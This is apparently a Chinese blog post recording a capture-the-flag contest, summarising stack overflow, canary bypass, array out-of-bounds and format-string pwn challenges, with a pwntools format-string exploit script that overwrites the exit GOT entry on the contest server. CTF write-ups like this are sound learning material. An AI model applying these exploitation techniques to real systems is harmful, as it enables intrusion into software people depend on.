tjctf记录

前言

看着ctftime上的时间表参加了tjctf的比赛。pwn,re题目非常简单,在今天结束最高到了第二名.(pwn,re做完了,misc太菜)。虽然题目非常简单,类似于国内ISCC,还是简单的做个记录
第一天排名

pwn1

简单直接的栈溢出,覆盖到之后的变量就可以得到flag,签到

pwn2

使用srand(time(NULL));通过随机数伪造canary防止栈溢出。

time(NULL)取到的时间以秒做单位,学到可以通过加载so文件使用time文件得到相同的随机值。

过了伪造canary直接就可以溢出拿到flag

pwn3


题目逻辑就是定义了这么一个结构体,names长度为8,
如果strength指针指向位置的最多8个字节的总大小为400可以得到flag。
程序存在数组越界,可以输入9次数据,name数组保存的为malloc的地址,堆内容可控。
于是输入9次覆盖strength指针,指向的堆又可控,轻松凑出400拿到flag。

pwn4


栈溢出,前面可以向bss段写入33字节,配合栈溢出拿到flag,手动使用x64写了一下shellcode。

pwn5

经典的格式化字符串,本来以为会出一道难一点的。结果是我高估他了。题目给了一个函数直接读取flag,可以通过格式化字符串修改exit got表,同时没有开ASLR。一步搞定,我还以为是改成system拿权限。郁闷直接上代码

from pwn import *
p=remote('problem1.tjctf.org',8008)
context(log_level='debug')
elf=ELF('./libc-2.27.so')
elfa=ELF('./8008')
p.recvuntil('First, choose a strong password to protect your message:')
putsGOT1=elfa.got['exit']
main=0x08048713

p.sendline('123')
p.recvuntil('>')
X=main&0x000000ff
X1=(main&0x0000FF00)>>8
X2=(main&0x00ff0000)>>16
X3=(main&0xff000000)>>24
payload=p32(putsGOT1
)+p32(putsGOT1+1)
payload+="%."+str(X-8)+"x%35$hhn"
payload+="%."+str((X1-X)&0xff)+"x%36$hhn"
p.sendline(payload)

p.interactive()

总结

过于简单。但是学习了一下基于时间随机的不可靠性。
复习了格式化字符串,主要是自己一直想用system。浪费了不少时间
最近更新少,接下来没有比赛开始进行经典cve漏洞的调试过程。